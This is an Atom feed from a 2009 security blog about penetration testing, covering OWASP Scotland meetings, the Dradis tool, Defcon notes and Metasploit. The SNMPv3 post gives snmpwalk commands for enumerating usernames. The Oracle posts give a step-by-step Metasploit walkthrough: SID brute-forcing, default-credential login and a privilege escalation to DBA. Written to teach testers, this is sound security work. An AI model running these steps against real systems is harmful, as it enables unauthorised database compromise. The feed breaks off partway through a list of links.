<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <title>Rory.Blog</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/" />
    <link rel="self" type="application/atom+xml" href="http://www.mccune.org.uk/blog/atom.xml" />
    <id>tag:www.mccune.org.uk,2009-02-22:/blog//1</id>
    <updated>2009-11-19T20:16:37Z</updated>
    <subtitle>A weblog about things that Interest me, mostly Security with a little Networking a dash of IT and the odd Cat.</subtitle>
    <generator uri="http://www.sixapart.com/movabletype/">Movable Type Pro 4.32-en</generator>

<entry>
    <title>OWASP Scotland - November Meeting</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/11/owasp-scotland-1.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.532</id>

    <published>2009-11-19T20:14:19Z</published>
    <updated>2009-11-19T20:16:37Z</updated>

    <summary>OWASP Scotland November meeting is next Thursday, the 26th. We&apos;ve got something a bit different lined up with the main presentation being one on physical security and lock picking (hey if you can break into the server room and take...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
    <category term="owaspscotland" label="OWASP Scotland" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>OWASP Scotland November meeting is next Thursday, the 26th.  We've got something a bit different lined up with the main presentation being one on physical security and lock picking (hey if you can break into the server room and take the box, who needs SQL injection ;oP )</p>

<p>More information <a href="http://www.owasp.org/index.php/Scotland#Local_News">here</a></p>]]>
        
    </content>
</entry>

<entry>
    <title>Tools I use - Dradis</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/10/tools-i-use---d.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.530</id>

    <published>2009-10-28T20:43:57Z</published>
    <updated>2009-10-28T20:55:07Z</updated>

    <summary>I&apos;ve been using Dradis for a couple of months now. It&apos;s an interesting piece of software that&apos;s designed to help teams of people share information on penetration tests. That said I find it useful on the tests I do even...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Penetration Testing" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>I've been using <a href="http://dradisframework.org">Dradis</a> for a couple of months now.  It's an interesting piece of software that's designed to help teams of people share information on penetration tests.</p>

<p>That said I find it useful on the tests I do even when I work alone.</p>

<p>Essentially Dradis provides the base environment for users to work in, either from the command line or the <a href="http://rubyonrails.org/">rails</a> based web interface, and then pretty much lets them get on with it, so it can be a bit difficult to work out how you want to use it at first, but once you get used to it it's very handy!</p>

<p>What I've done is started to create templates for information that I need to collect during a test and areas to review, that way it reduces the number of times I get into writing the report and realised I've missed something ;o). Once you create the tree structure in Dradis, containing any information you want,  you can export it as a single file and then re-use it as a template on future tests (for example one for web application tests, one for infrastructure etc)</p>

<p>you can also import information from other tools (nmap, nikto, nessus and burp at the moment) into Dradis, meaning you've got a single place to view all the information relating to the test.</p>

<p>It's well worth a look, as it's under active development there are new features coming pretty frequently.  Also there are guides on the site for prospective developers and as it's all done in ruby it's nice and easy to start coding for!</p>]]>
        
    </content>
</entry>

<entry>
    <title>OWASP Scotland - September Meeting</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/09/owasp-scotland.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.528</id>

    <published>2009-09-11T09:26:07Z</published>
    <updated>2009-09-11T09:31:48Z</updated>

    <summary>The OWASP Scotland september meeting is all set for Tuesday the 15th of September. We&apos;ve got three good speakers lined up so, it&apos;s shaping up to be a good meeting. More details here . Meeting is open to all, but...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>The OWASP Scotland september meeting is all set for Tuesday the 15th of September.  </p>

<p>We've got three good speakers lined up so, it's shaping up to be a good meeting.</p>

<p>More details <a href="http://www.owasp.org/index.php/Scotland#September_Chapter_Meeting"> here </a> .  Meeting is open to all, but if you're planning to come along, please RSVP to me at <a href="mailto:rorym@nmrconsult.net">this address</a>, so we can get an idea of numbers.</p>]]>
        
    </content>
</entry>

<entry>
    <title>Testing SNMPv3</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/08/testing-snmpv3.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.527</id>

    <published>2009-08-26T10:50:43Z</published>
    <updated>2009-08-26T15:43:45Z</updated>

    <summary>After encountering some SNMPv3 servers recently and looking into the differences from a pen. test perspective, I thought it may be worth a quick write-up. SNMPv1 and v2 do not respond when traffic is sent their way unless there is...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Penetration Testing" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>After encountering some SNMPv3 servers recently and looking into the differences from a pen. test perspective, I thought it may be worth a quick write-up.</p>

<p>SNMPv1 and v2 do not respond when traffic is sent their way unless there is a valid community string in the message, a fact used by scanners like <a href="http://labs.portcullis.co.uk/application/onesixtyone/"> onesixtyone </a>.  So traditionally the theory is unless there's a known community string, the service running has a vulnerability or you can get in-line to sniff traffic, there's not a lot to get from SNMP services.</p>

<p>Turns out that SNMPv3 behaves differently from v1 and v2.  Firstly the notion of using community strings for authentication is gone, replaced by username/passwords.  Second the traffic can be encrypted to limit sniffing opportunites.</p>

<p>However it's not all bad from a testers perspective! unlike earlier versions SNMPv3 will respond to correctly formatted requests and provide some information about itself as part of the reply.  This allows confirmation of the servers existence.</p>

<p>To get these responses there's a couple of different tools we can use.  <a href="http://nmap.org/">Nmap</a> with version detection will confirm that a SNMPv3 service is running and looking at the traffic in wireshark <span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="wireshark-nmap-snmpv3.png" src="http://www.mccune.org.uk/blog/wireshark-nmap-snmpv3.png" width="866" height="802" class="mt-image-center" style="text-align: center; display: block; margin: 0 auto 20px;" /></span></p>

<p>From this there's a couple of interesting pieces of information.  The Engine Enterprise ID field seems to identify the server type that's running, net-snmp in this case and the msgAuthoritativeEngineTime parameter shows the time in seconds since the service was started (according to <a href="http://www.cisco.com/web/about/ac123/ac147/archived_issues/ipj_1-3/snmpv3.html"> this page</a> ).</p>

<p>In addition to using nmap, it's possible to use the inbuilt snmp tools to get some information out of the service including possible username enumeration and brute-force password attacks.</p>

<p>Issuing the snmpwalk command with an invalid username like so:</p>

<p><b>snmpwalk -v 3 -n '' -l noAuthNoPriv -u "invaliduser" 192.168.207.142 IF-MIB::ifName</b></p>

<p>provides the response <b><i>snmpwalk: Unknown user name</i></b></p>

<p>but if we use a valid username and no password like so: </p>

<p><b>snmpwalk -v 3 -n '' -l noAuthNoPriv -u "snmpUser" 192.168.207.142 IF-MIB::ifName</b></p>

<p>we get <b><i>Error in packet. Reason: authorizationError (access denied to that object)</i></b></p>

<p>So it's possible by parsing responses to figure out valid usernames for the service. </p>

<p><b>Update : </b>  Here's a ruby script (should work on linux with snmp tools and ruby installed) which iterates over a list of usernames and a list of IPs and attempts to guess whether the username is valid or not <a href="http://www.mccune.org.uk/code/snmpv3enum.rb">snmpv3enum.rb</a></p>

<p>A similar technique works with specification of passwords which would allow for brute-forcing those as well, (although that said the snmp tools try to stop people choosing passwords less than 8 characters, so unless a dictionary word is used it isn't too likely to be successful.</p>

<p>Additionally for people who're fond of metasploit, I've knocked up a very basic SNMPv3 scanner.  At the moment all it does it take a range of IP addresses and say whether a valid SNMPv3 packet provokes a response from the server, but could be handy.  it's <a href="http://www.mccune.org.uk/code/snmpv3.rb">here</a>.</p>

<p>There's some good references on setting up and using SNMPv3 <a href="http://www.sysadmin.md/snmpv3-users-cheatsheet.html">here</a>, <a href="http://tomclegg.net/snmpv3-cacti">here</a> and <a href="http://wmunguiam.blogspot.com/2009/07/howto-use-snmpv3-ubuntu.html">here</a>.</p>]]>
        
    </content>
</entry>

<entry>
    <title>Defcon 17</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/08/defcon-17.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.526</id>

    <published>2009-08-09T15:07:38Z</published>
    <updated>2009-08-09T15:59:36Z</updated>

    <summary>So I got across to Defcon this year (and of course security Bsides) There were several interesting presentations , here&apos;s some notes on some of the ones that I got along to. The CD is up at defcon.org, and you...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Penetration Testing" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>So I got across to Defcon this year (and of course security Bsides)</p>

<p>There were several interesting presentations , here's some notes on some of the ones that I got along to.  The CD is up at <a href="https://media.defcon.org/dc-17/DEFCON-17-CD.rar">defcon.org</a>, and you can get the slides for most of the presentations there.</p>

<p>SSL Talks - There were several presentations on ways to bypass or subvert SSL. From my point of view the drive was around 2 themes.  The difficulty in correctly parsing SSL certs due to the complexity of the relevant RFCs and also the weaknesses in the issuing processes of some CAs (which is exacerbated by the fact that any CA can issue a "valid" cert. for any domain).  Dan Kaminsky's white paper on the subject is <a href="http://www.ioactive.com/pdfs/PKILayerCake.pdf"> here</a>, Moxie's blackhat presentation is <a href="http://tinyurl.com/nyh462"> here </a> and Michael Zusmans' blackhat presentation is <a href="http://tinyurl.com/ll5nlq">here</a> (the defcon presentations are on the CD linked above).</p>

<p>Metasploit - The Metasploit team had a whole track to themselves on Saturday and there's a load of interesting stuff in there, basically looks like Metasploit will have some coverage for most types of assessment eventually, which is very handy!</p>

<p>Egypts presentation on client-side attacks with Metasploit had some great content on browser fingerprinting (not just relying on User-Agent) and client side attacks with Metasploit.</p>

<p>The Oracle presentation from mc and Chris Gates  had some good content on going through the steps of an Oracle attack purely using Metasploit (more information on this on CG's <a href="http://carnal0wnage.attackresearch.com">blog</a></p>

<p>Druid had a good talk on the war-dialer that he's added to the framework (unfortunately the slides for that one aren't on the CD, but I'd guess that they'll be around soon). Another interesting thing in the Metasploit track was the demos of the Mac OSX and POSIX versions of meterpreter which are both in active development.</p>

<p>Other Ruby Tools - There was a bit of a theme of ruby tools across some of the presentations.  In addition to all the Metasploit stuff, there was a mobile device fuzzer (although the website for it, www.fuzzit.com isn't up yet).  Also there was a good presentation on <a href="http://dradisframework.org"> Dradis </a>from etd , which is a Pen test management and reporting tool written in Ruby and Rails.</p>

<p>Password Cracking - There was a good presentation, from Matt Weir,  on approaches to password cracking, speeding up brute-force attacks and picking good dictionary files .  There's more informaton on this one on his <a href="http://reusablesec.blogspot.com/"> blog </a> as well as on the presentation slides.</p>

<p>Router Hacking - FX had some more information on how to create reliable exploits on Cisco devices and the difficulties in doing so (amazing to think that Cisco Maintain thousands of discreete monolithic router builds!).  Slides from the Blackhat presentation are <a href="http://www.blackhat.com/presentations/bh-usa-09/LINDNER/BHUSA09-Lindner-RouterExploit-SLIDES.pdf"> here</a> and White paper <a href="http://www.blackhat.com/presentations/bh-usa-09/LINDNER/BHUSA09-Lindner-RouterExploit-PAPER.pdf"> here </a> </p>

<p>USB Hacking - Interesting presentation from a guy from <a href="http://labs.mwrinfosecurity.com/">MWR </a> on how they approached an assignment to assess the security of a USB device and the approaches to fuzzing that they took.  Slides are up on their site <a href="http://labs.mwrinfosecurity.com/files/Publications/mwri_usb-attacks-defcon17_2009-08-02.pdf"> here </a></p>]]>
        
    </content>
</entry>

<entry>
    <title>Preparing for Defcon</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/07/preparing-for-d.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.525</id>

    <published>2009-07-26T17:45:50Z</published>
    <updated>2009-07-26T17:59:22Z</updated>

    <summary>So I&apos;m off to Defcon and security BSides next week, and I thought a couple of precautions were in order before I go... 1. Tunnel all traffic through SSH to a trusted host, instructions here 2. Set iptables up to...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>So I'm off to <a href="http://www.defcon.org/html/defcon-17/dc-17-index.html"> Defcon </a>and <a href="http://www.securitybsides.com/BSidesLasVegas">security BSides</a> next week, and I thought a couple of precautions were in order before I go...</p>

<p>1. Tunnel all traffic through SSH to a trusted host, instructions <a href="http://wiki.freaks-unidos.net/weblogs/azul/firefox-ssh-tunnel">here</a><br />
2. Set iptables up to explicitly deny any traffic not travelling through the tunnel<br />
3. Turn off any vaguely network related features on my iPhone!</p>]]>
        
    </content>
</entry>

<entry>
    <title>Oracle Mixin hits Metasploit trunk</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/07/oracle-mixin-hi.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.524</id>

    <published>2009-07-15T07:18:27Z</published>
    <updated>2009-07-15T07:22:18Z</updated>

    <summary>The oracle mix-in is now in metasploit trunk so should be a snap to get working. Installation instructions are up here. Especially note the requirements for specific versions of the dbi and oci8 gems, later versions don&apos;t always work as...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>The oracle mix-in is now in metasploit trunk so should be a snap to get working.  Installation instructions are up <a href="https://metasploit.com/trac/wiki/OracleUsage">here</a>.  </p>

<p>Especially note the requirements for specific versions of the dbi and oci8 gems, later versions don't always work as expected with some of the oracle exploit plugins.</p>]]>
        
    </content>
</entry>

<entry>
    <title>More Metasploitin&apos; - My first module.</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/06/more-metasploit-2.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.522</id>

    <published>2009-06-14T10:30:00Z</published>
    <updated>2009-06-14T11:35:06Z</updated>

    <summary>I thought I&apos;d have a shot at writing a quick metasploit module as a good way to get to know the framework a bit better. I&apos;m basing this on a project I did for my GSOC gold where I wrote...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Database Security" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Metasploit" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Penetration Testing" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>I thought I'd have a shot at writing a quick metasploit module as a good way to get to know the framework a bit better.  I'm basing this on a project I did for my GSOC gold where I wrote a POC oracle security scanner in ruby called <a href="http://rorascanner.rubyforge.org">rorascanner</a>.  Seems like a good idea to move the checks I was doing there into a metasploit module.</p>

<p>At the moment its very rough and just basically carries out a series of SQL queries (based on mc's Oracle module) and dumps the results out to a file for later use.  I thought it could be useful for people wanting to quickly get some data out of the database for later analysis (kinda' like winenum).</p>

<p>Anyway code is <a href="http://www.mccune.org.uk/code/ora_enum.rb">here</a> .  Any thoughts suggestions welcome :)</p>]]>
        
    </content>
</entry>

<entry>
    <title>Scotland on Rails Videos online</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/05/scotland-on-rai-1.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.520</id>

    <published>2009-05-27T18:48:06Z</published>
    <updated>2009-05-27T18:51:48Z</updated>

    <summary>All the Scotland on Rails videos are now online here courtesy of the nice folks at Engine Yard. The video for my presentation is here , slides are on slideshare over here...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Ruby On Rails" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Web Security" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>All the Scotland on Rails videos are now online <a href="http://www.engineyard.com/community/scotland-on-rails/">here</a> courtesy of the nice folks at Engine Yard.</p>

<p>The video for my presentation is <a href="http://scotland-on-rails.s3.amazonaws.com/2B07_RoryMcCune-SOR.mp4">here</a> , slides are on slideshare over <a href="http://www.slideshare.net/raesene/web-appliction-security-scotland-on-rails-presentation">here</a>  </p>]]>
        
    </content>
</entry>

<entry>
    <title>Some Metasploit and Oracle Notes - Part 2</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/05/some-metasploit-1.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.519</id>

    <published>2009-05-12T19:41:55Z</published>
    <updated>2009-05-16T17:02:29Z</updated>

    <summary>So More Oracle and Metasploit stuff tonight. as CG pointed out on the last post, most of this has been covered on his series of posts at the carnal0wnage blog (and lots more besides), this is just my working through...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Metasploit" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Penetration Testing" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>So More Oracle and Metasploit stuff tonight.  as CG pointed out on the last post, most of this has been covered on his series of posts at the carnal0wnage blog (and lots more besides), this is just my working through the process for my own benefit and hopefully pointing out some of the potential things to think about as I go along....</p>

<p>ok so where I left off <a href="http://www.mccune.org.uk/blog/2009/05/some-metasploit.html">last time</a> we'd got found our database, enumerated the SIDs and guessed a handily set default username/password (the infamous SCOTT/TIGER).  So at this point we've got an account which can access the database, but now we need some more privileges...</p>

<p><b>4. Escalate privileges to get DBA level access</b>To do this we're going to use the metasploit droptable_trigger module, which works slightly differently from some exploit modules in Metasploit as executing the code generates a file that you can then run against the database to elevate your privileges.</p>

<p>Setting this up is very simple</p>

<pre>use auxiliary/admin/oracle/droptable_trigger </pre>

<p>Handily the default SQL command that gets run by this exploit is "grant DBA to SCOTT" which is exactly what we're looking for.</p>

<p>once we've run this module a .sql file is generated in the data/exploit directory.  Probably the easiest way of running this is to use sqlplus, like so</p>

<pre>sqlplus SCOTT/TIGER@[your_target_IP_here]/[your_target_SID_here] < msf.sql </pre>

<p>Assuming all goes well with the attack (from my experimentation with 10GR2 this one works fine) you can query the user_role_privs view in Oracle to confirm </p>

<p><i><br />
SQL> select * from user_role_privs;</p>

<p>USERNAME                  GRANTED_ROLE          ADM DEF OS_<br />
------------------------------ ------------------------------ --- --- ---<br />
SCOTT                          CONNECT                     NO  YES NO <br />
<b>SCOTT                          DBA                               NO  YES NO</b><br />
SCOTT                          RESOURCE                   NO  YES NO<br />
</i></p>

<p>It's worth noting that some of these Oracle modules (there's 9 in the current Metasploit svn versions) have required privilege levels (dbms_cdc_publish for example in a vanilla 10GR2 setup needs EXECUTE_CATALOG_ROLE to run which only SYS and users with the DBA role have...), so it's worth trying out several to fit different scenarios...</p>

<p>So here we are with DBA, which to be honest for a lot attackers is all that's needed.  The data in the database is likely to be the "crown jewels" which the attackers looking for, but hey we can go further with the wonders of Metasploit and execute code on the underlying operating system...</p>

<p><b>5. Leverage Oracles functionality to get access to the underlying operating system</b>
So at the moment I don't see a metasploit option for doing this in *nix (there's a win32 command execution module on <a href="http://www.metasploit.com/users/mc/oracle/win32exec.rb">mc's </a>page), however that's not a serious problem as it turns out the nice guys at Oracle provide ways to do this easily.</p>

<p>A quick google around revealed <a href="http://www.oracle.com/technology/tech/java/jsp/pdf/calling_shell_commands_from_plsql_1.1.pdf">this paper</a> from Oracle on command execution from a database user and from my running of it, it works fine (although requires creation of new database objects so best suited to an environment that can be rolled back easily...).</p>

<p>So there you go, from nothing to OS access in 5 easy steps, courtesy of Metasploit...</p>]]>
        
    </content>
</entry>

<entry>
    <title>Some Metasploit and Oracle Notes - Part 1</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/05/some-metasploit.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.517</id>

    <published>2009-05-10T08:03:49Z</published>
    <updated>2009-07-27T13:04:08Z</updated>

    <summary>Todays fun with Metasploit is exploiting Oracle... There&apos;s lots of good information on this on the Carnal 0wnage blog and the metasploit page for mc. First things first, we&apos;ll need the relevant ruby modules (dbi and oci8) installed and working...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Metasploit" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>Todays fun with Metasploit is exploiting Oracle...  There's lots of good information on this on the <a href="http://carnal0wnage.blogspot.com">Carnal 0wnage</a> blog and the metasploit page for <a href="http://metasploit.com/users/mc/">mc</a>.</p>

<p>First things first, we'll need the relevant ruby modules (dbi and oci8) installed and working for some of this. </p>

<p>dbi can be installed using the usual 'sudo gem install dbi' but oci8 has some more prerequisites and steps to get working.  The best thing to do is follow the instructions <a href="http://ruby-oci8.rubyforge.org/en/InstallForInstantClient.html">here </a>.  As a note you'll probably want to add the LD_LIBRARY_PATH to your bash profile to avoid setting it manually every time you want to use it (in Ubuntu this can be done system wide in /etc/bash.bashrc)</p>

<p>Once you've done that it should be possible to make basic connections to oracle from ruby ok...</p>

<p>So on to what Metasploit can do for you in a test with Oracle systems..  This walkthrough is heavily based on this video <a href="http://carnal0wnage.blogspot.com/2009/02/attacking-oracle-with-metasploit.html">here</a> from shmoocon this year.</p>

<p>One set of rough steps for converting "hmm there's an oracle system here" to "w00t I've got admin access to the server" might be<br />
<ol><br />
<li>Discover the version of Oracle Running</li><br />
<li>Find out what the SID of the database is</li><br />
<li>Get valid credentials to the database</li><br />
<li>Escalate those credentials to DBA level access</li><br />
<li>Leverage Oracles functionality to get access to the underlying operating system</li><br />
<li>...</li><br />
<li>Profit!!</li><br />
</ol></p>

<p>Luckily Metasploit can help us with pretty much all of this....</p>

<p><b>1. Discover the version of Oracle running on the server</b>
This is very useful as it allows for targeting of exploits (no point in trying use an exploit for something that's been patched on the target).  </p>

<p>From msfconsole</p>

<pre>use auxiliary/scanner/oracle/tnslsnr_version </pre>
<pre>set RHOSTS [your_target_ip_here]
run </pre>

<p>from this you should see something like<br />
<pre>[*] Host 192.168.1.203 is running: Linux: Version 10.2.0.1.0 - Production<br />
[*] Auxiliary module execution completed<br />
</pre></p>

<p>which tells us we've got 10gR2 on Linux running.</p>

<p><b>2. Find out what the SID of the database is</b>
In order to connect to the database we're going to need to know what the SID is.  Pre 10GR2 we could just use the metasploit sid_enum module (in auxiliary/scanner/oracle) to find this but after that we'll need to brute-force it.  Not to worry there's a module for that too :)</p>

<p>As of 3.3-dev 6537 the sid_brute module doesn't appear to be included, but it can be downloaded from <a href="http://metasploit.com/users/mc/oracle/sid_brute.rb">mc's page</a>.  For this module you'll also need a list of common SIDs for Oracle.  One of those can be found on the<a href="http://www.red-database-security.com/scripts/sid.txt"> Red Database Security</a> site.</p>

<p>so once you've put the sid_brute module in the right place (I used modules/auxiliary/scanner/oracle) and your sid.txt file somewhere (I used the default from the module of data/exploits) you can do the following...</p>

<pre> use auxiliary/scanner/oracle/sid_brute</pre>
<pre> set RHOST [your_target_ip_here]</pre>

<p>and hopefully you'll get some output like</p>

<pre>[*] Found SID 'ORCL' for host 192.168.1.203.</pre>

<p>So we've now got the SID of the database, on to usernames and passwords.</p>

<p><b>3. Get valid credentials to the database</b>
Now Oracle databases are pretty notorious for having a wide range of default usernames and passwords installed on them.  This isn't so true for modern releases but if your're running against older releases, it's well worth checking. </p>

<p>So to do this we'll need the brute_login metasploit module and a list of usernames and passwords.  The module again can be found on <a href="http://metasploit.com/users/mc/oracle/brute_login.rb">mc's page</a> and the canonical list of Oracle usernames and passwords is on <a href="http://www.petefinnigan.com/default/oracle_default_passwords.csv">Pete Finnigans</a> site.</p>

<p>Also we'll need to get the oracle mixin at this point from <a href="http://metasploit.com/users/mc/oracle/oracle.rb">here</a> and copy that to lib/msf/core/exploit/ .  Now at this point I was getting a module loading error but reading <a href="http://carnal0wnage.blogspot.com/2008/11/oracle-pwnage-with-metasploit-oracle.html">this</a> and <a href="http://carnal0wnage.blogspot.com/2008/08/metasploit-and-file-format-bugs.html">this</a> led me to the idea of modifying the brute_login.rb file adding</p>

<pre>require 'msf/core/exploit/oracle'</pre>

<p>to the top of the file (just under the other requires) to get it all loaded up ok (also found out that a lot of this ground's been covered before but hey :) ! )</p>

<p>So with those saved in appropriate places (same as last time) we can see what's there</p>

<pre>use auxiliary/scanner/oracle/brute_login </pre>

<pre> set RHOST [your_target_ip_here]
run</pre>

<p>Now wtih any luck you'll get a file called oracle_success.log popping up in the data/exploits directory which will contain some entries like this</p>

<pre>Found user/pass of: SCOTT/TIGER on 192.168.1.203...</pre>

<p>which tells us the creds we need to make a valid connection and move on to the next stage.</p>

<p>So now we've got a valid account on the database, but it's not got that magic DBA level of privilege</p>

<p>Next time I'll follow-up on using metasploit to get down the OS</p>

<p></p>

<p></p>

<p><br />
</p>]]>
        
    </content>
</entry>

<entry>
    <title>Tonights Metasploit links</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/05/tonights-metasp.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.516</id>

    <published>2009-05-07T19:45:00Z</published>
    <updated>2009-05-10T09:18:22Z</updated>

    <summary>Been taking a look at another one of the newer Metasploit features tonight. WMAP is looking to integrate web application scanning functionality into Metasploit. There&apos;s a couple of good overviews Here, Here and Here Getting it up and running is...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Metasploit" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>Been taking a look at another one of the newer Metasploit features tonight.  WMAP is looking to integrate web application scanning functionality into Metasploit.  There's a couple of good overviews <a href="http://trac.metasploit.com/browser/framework3/trunk/documentation/wmap.txt">Here</a>, <a href="http://www.vulnerabilityassessment.co.uk/wmap_meta.htm">Here</a>  and <a href="http://darkoperator.blogspot.com/2008/10/metasploit-wmap-web-attack-and.html">Here</a></p>

<p>Getting it up and running is a little bit finicky at the moment, as you need to used a patched copy of <a href="http://code.google.com/p/ratproxy/">ratproxy</a> to collect the base URLs for the scanner (quick note is that my fairly new Ubuntu Intrepid install was missing libssl-dev which is a pre-requisite for compiling ratproxy so worth checking for if you get make errors when setting it up).</p>

<p>Once you've gathered URLs and fed them in to the database getting the scanner to start running is straightforward (examples in the links at the top so I won't go into it).  From an initial look, some of the plugins seem to do some directory/file brute-forcing which can take ages to run, but if it's going on too long you can use CTRL-C to interrupt just that plug-in and Metasploit will catch the interrupt gracefully and move on to the next directory or plugin...</p>]]>
        
    </content>
</entry>

<entry>
    <title>More metasploit resources</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/05/more-metasploit.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.515</id>

    <published>2009-05-05T19:31:57Z</published>
    <updated>2009-05-10T09:18:46Z</updated>

    <summary>So another night of metasploitage, and some good additional info Pivoting Good write-up on some of the challenges with pivoting Greate Demo video of using pivoting to attack a host indirectly Another good video demo of pivoting, but without the...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Metasploit" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>So another night of metasploitage, and some good additional info</p>

<p><b>Pivoting</b><br />
<ul><br />
<li><a href="http://www.indepthdefense.com/2009/02/reverse-pivots-with-metasploit-how-not.html">Good write-up on some of the challenges with pivoting</a></li><br />
<li><a href="http://ne0matrix.blogspot.com/2009/05/demo-video-meterpreter-pivot-attack.html">Greate Demo video of using pivoting to attack a host indirectly</a></li><br />
<li><a href="http://vimeo.com/3446123">Another good video demo of pivoting, but without the cool tunes :) </a></li><br />
</ul></p>]]>
        
    </content>
</entry>

<entry>
    <title>Metasploit Resources</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/05/metasploit-reso.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.514</id>

    <published>2009-05-04T19:29:54Z</published>
    <updated>2009-05-10T09:19:17Z</updated>

    <summary>So I&apos;ve been playing a bit with Metasploit over the holiday weekend (hey what are days off for..), and as usual when researching stuff, I&apos;ve come across a load of links I don&apos;t want to lose track of, so I&apos;ll...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Metasploit" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Penetration Testing" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>So I've been playing a bit with Metasploit over the holiday weekend (hey what are days off for..), and as usual when researching stuff, I've come across a load of links I don't want to lose track of, so I'll put them up here, may be useful to someone else as well..</p>

<p>I'll refrain from the really obvious linking to the project homepage, as if you're looking for metasploit links, I'd guess you've found it already :)</p>

<p><b>Pre-Exploitation Information</b><br />
<ul><br />
<li><a href="http://synjunkie.blogspot.com/2008/10/metasploit-payloads-msfpayload.html"> Good set of examples for using msfpayload to create executable payloads</a></li><br />
